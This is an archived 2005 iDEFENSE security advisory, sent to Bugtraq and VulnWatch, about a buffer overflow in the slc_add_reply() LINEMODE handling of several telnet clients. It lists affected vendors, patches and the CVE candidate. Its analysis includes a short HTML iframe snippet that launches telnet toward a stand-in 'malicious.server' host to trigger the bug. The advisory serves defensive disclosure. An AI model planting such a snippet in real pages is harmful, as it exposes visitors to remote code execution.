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Message-ID: <FB24803D1DF2A34FA59FC157B77C970504147D5C@idserv04.idef.com> Date: Mon, 28 Mar 2005 13:09:38 -0500 From: "iDEFENSE Labs" <labs-no-reply@...fense.com> To: <bugtraq@...urityfocus.com>, <vulnwatch@...nwatch.org> Subject: iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability iDEFENSE Security Advisory 03.28.05 www.idefense.com/application/poi/display?id=220&type=vulnerabilities March 28, 2005 I. BACKGROUND The TELNET protocol allows virtual network terminals to be connected to over the internet. The initial description of the protocol was given in RFC854 in May 1983. Since then there have been many extra features added including encryption. II. DESCRIPTION Remote exploitation of an buffer overflow vulnerability error in multiple telnet clients may allow execution of arbitrary commands. The vulnerability specifically exists in the handling of the LINEMODE suboptions, in that there is no size check made on the output, which is stored in a fixed length buffer. By sending a specially constructed reply containing a large number of SLC (Set Local Character) commands, it is possible to overflow this buffer with server supplied data. III. ANALYSIS Successful exploitation would allow a remote attacker to execute arbitrary code in the context of the user which initiated the telnet process. In order to exploit this vulnerability, an attacker would need to convince the user to connect to their malicious server. It may be possible to automatically launch the telnet command from a webpage, for example: <html><body> <iframe src='telnet://malicious.server/'> </body> On opening this page the telnet client may be launched and attempt to connect to the host 'malicious.server'. IV. DETECTION iDEFENSE has confirmed the existence of the vulnerability in the telnet client included in the Kerberos V5 Release 1.3.6 package and the client included in the SUNWtnetc package of Solaris 5.9. It is suspected that most BSD based telnet clients are affected by this vulnerability. V. WORKAROUND iDEFENSE is currently unaware of any effective workarounds for this vulnerability. VI. VENDOR RESPONSE The following vendors have provided official responses related to this vulnerability. Other vendors may be affected but have not provided an official response. Vulnerable: - ALT Linux All supported ALT Linux distributions include telnet client derived from OpenBSD 3.0. The slc_add_reply() buffer overflow vulnerability is present in all our telnet clients. Updated packages with fixes for these issues will be released on March 28, 2005. http://lists.altlinux.ru/pipermail/security-announce/2005-March/000287.html - Apple Computer, Inc. Component: Telnet Available for: Mac OS X 10.3.8, Mac OS X Server 10.3.8 This is fixed in Security Update 2005-003, which is available at http://docs.info.apple.com/article.html?artnum=61798 - FreeBSD FreeBSD-SA-05:01.telnet security advisory: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:01.telnet.asc - MIT (Kerberos) This vulnerability is covered in the following upcoming advisory: MITKRB5-SA-2005-001: http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2005-001-telnet.txt patch against krb5-1.4: http://web.mit.edu/kerberos/advisories/2005-001-patch_1.4.txt - Openwall Project The bugs are fixed starting with telnet package version 3.0-owl2. http://www.openwall.com/Owl/CHANGES-current.shtml - Red Hat, Inc. Red Hat Enterprise Linux ships with telnet and krb5 packages vulnerable to this issue. New telnet and krb5 packages are now available along with our advisory at the URLs below and by using the Red Hat Network 'up2date' tool. Red Hat Enterprise Linux - telnet http://rhn.redhat.com/errata/RHSA-2005-330.html Red Hat Enterprise Linux - krb5 http://rhn.redhat.com/errata/RHSA-2005-327.html - Sun Microsystems Inc. Sun confirms that the telnet(1) vulnerabilities do affect all currently supported versions of Solaris: Solaris 7, 8, 9 and 10 Sun has released a Sun Alert which describes a workaround until patches are available at: http://sunsolve.sun.com Sun Alert #57755 The Sun Alert will be updated with the patch information once it becomes available. Sun patches are available from: http://sunsolve.sun.com/securitypatch Not Vulnerable: - CyberSafe Limited The CyberSafe TrustBroker products, version 3.0 or later, are not vulnerable. - Hewlett-Packard Development Company, L.P. HP-UX and HP Tru64 UNIX are not vulnerable. - InterSoft International, Inc. InterSoft International, Inc. products NetTerm, SecureNetTerm and SNetTerm are not affected by the slc_add_reply() buffer overflow conditions. VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the names CAN-2005-0469 to these issues. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 02/18/2005 Initial vendor notification 03/28/2005 Coordinated public disclosure IX. CREDIT Gaël Delalleau credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp Free tools, research and upcoming events http://labs.idefense.com X. LEGAL NOTICES Copyright © 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice@...fense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
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